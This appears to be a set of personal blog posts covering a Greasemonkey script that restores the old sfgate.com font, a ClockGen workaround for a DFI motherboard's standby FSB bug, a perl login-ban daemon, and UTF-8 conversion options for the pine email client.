I personally can’t stand Georgia or other serif fonts for reading body text on an LCD screen. Not only does sfgate.com lose its style and instead look like a NYTimes clone, but it’s simply uncomfortable and slower for me to read the articles. I spend all day reading on a computer, I don’t need intentional changes making it more difficult.

I gave the new font a shot for a week. I got used to it a little bit, but I found myself closing all but the most interesting articles after the first paragraph, whereas before I usually read the entire article. It’s just not worth the effort with the new font. Not when there are so many other news sources, or when I can do something about it.

So I made myself a fix. I created a Greasemonkey user script to restore the old font, Arial, and the old spacing. Greasemonkey is an extension for Firefox that allows your client to make arbitrary changes to webpages you view. If you want the old sfgate.com font back, get Greasemonkey installed and then install this script:

sfgate_foxfix.user.js
Link above was temporary broken - it’s been fixed. However SFGate now allows you to select your own font and size preferences, so I don’t find the script necessary anymore. 2009/05/24

SFGate.com is finally easy for me to read again. The wider paragraphs and other aspects of the new design remain.

There were two major problems:

1. The temperature sensor readings were wildly inaccurate and the voltage applied to the CPU was increased significantly, beyond any selected overclocking voltage. Not safe.

2. The FSB (HTT) speed would revert to stock, while maintaining my adjusted multiplier. This meant the CPU was running at 1900MHz instead of 2900MHz, lower than the stock non-overclocked speed. The overclocked FSB speed should have been 290MHz in my case.

When I first encountered the problem back in January, I contacted DFI support. They confirmed that it was a known problem but didn’t have any fix. Users on the normally helpful DFI Street forums didn’t have any solution either. It was suggested I just use Suspend to Disk (a.k.a. hibernate, S1), but that wasn’t an option for me due to a bug in Windows.

The voltage and inaccurate temperature problems have been fixed by
BIOS update NF4ED406, released on April 6th 2006.

With the motherboard no longer in danger of frying itself, I found a workaround for the stock FSB problem that resulted in underclocking for me.

I use ClockGen for nForce4 (supposedly also on the motherboard utility CD) to change the FSB speed on the fly, to 290MHz in my case. Rather than manually setting the speed each time I resume from standby, I have it automatically done.

It involves three steps:

1. Create an ini file for CG-NVNF4.exe (ClockGen) with the changes you want it to make. In my case, I put the below in a file named 2900mhz.ini.

[CG-NVNF4]
FSB=290

2. Then download and edit fixspeed.vbs, a vbscript, changing the file paths to the correct ones for your CG-NVNF4.exe and ini files.

3. Put a shortcut to the vbscript in your Startup folder.

Your FSB should now be automatically corrected a few seconds after resuming from standby.

Let me know if that helped!

It can be retrieved here: http://www.lumiere.net/~j/login_sentry/

For those unfamiliar with login_sentry, it’s a small perl daemon that watches a system logfile for bad login attempts and temporarily bans hosts (via tcpwrappers / hosts.deny) that fail to authenticate repeatedly. This prevents those annoying brute force ssh attempts from filling up your logfile. Additionally it can also watch for authentication attempts via a few other services (postfix SASL, dovecot, and pwauth).

I use it to prevent brute force login attempts via all my authentication methods (including via webmail) and also ban access to all authenticated services (again, including webmail). Since it doesn’t require anything besides a standard perl install (no special libraries) and bans via hosts.deny instead of firewall rules, it’s fairly portable too.

pine is my preferred CLI email client. It understands different character sets and can even convert from UTF-8 into several others (such as ISO-8859-1). However for some reason, they’ve never added the ability to convert from other characters sets to UTF-8. I often receive emails in ISO-8859-1 (it’s the default on many email clients) and many of the special characters ended up garbled, despite pine knowing that UTF-8 is my preferred character set.

I recently checked to see if pine has been updated to support converting into UTF-8 yet. It hasn’t. So I went looking for what solutions others were using. I found a few solutions, one of which I’m using now with good results.

1. Display Filters. pine allows you to run the body of messages through arbitrary filters via a unix pipe. It can be set to only do this on certain conditions, like when certain character sets are used. You can use this display-filter setting to convert ISO-8859-1 text into UTF-8 using the iconv program.

    _CHARSET(iconv -f ISO-8859-1 -t UTF-8)_

The downside of this method is that headers are not converted and the display of each message is slowed slightly as the iconv program has to be run for each message body displayed.

2. Pine UTF-8 FAQ Patch. The Pine UTF-8 FAQ contains a large patch that adds conversion to UTF-8 support. It uses the iconv() POSIX API to do the conversion, avoiding the need to repeatedly pipe output to an external program. It also converts the headers of messages.

The downside to this one is that the patch is supplied as a patch against the all.patch, a bundle of 18 or so other popular patches, which you may or may not want. Since it’s a patch against a patch, it seems more likely to have problems applying to new versions of pine. The patch itself is also quite complex.

3. John Dalgliesh’s utf8out Patch. John made his own patch against pine 4.63 that makes pine use it’s already existing charset conversion tables to convert its output to UTF-8. Like the Pine UTF-8 FAQ patch, it converts the headers as well as the body. It applies cleanly to the current pine version (4.64), and due to its small size (<150 lines) will probably be easy to apply to future versions.

The only downside to this one is that pine still doesn’t understand the concept of multi-byte characters, so columns with special characters may not line up correctly. However this downside applies to the previous two solutions also and hasn’t been a problem for me in practice.

So I’m now using John’s patch (#3) full time and it’s working great for reading emails. Thanks John!

The only quirk left now that I’m not quite satisfied with, but is unrelated to any of the above solutions/patches, is that when you compose messages with special characters (outside the US-ASCII set) in pine, it sends your email as Content-Type: multipart/mixed with a plaintext UTF-8 portion, rather than simply as Content-Type: text/plain; charset=utf-8. Some email readers display multipart-mixed messages with the attachment icon, which is mildly annoying, although it still displays fine. Pine still sends out normal emails (ones without any special characters) as US-ASCII for maximum compatibility, so this is only a minor issue for me. If anyone knows a fix for this one, I’d still love to hear it.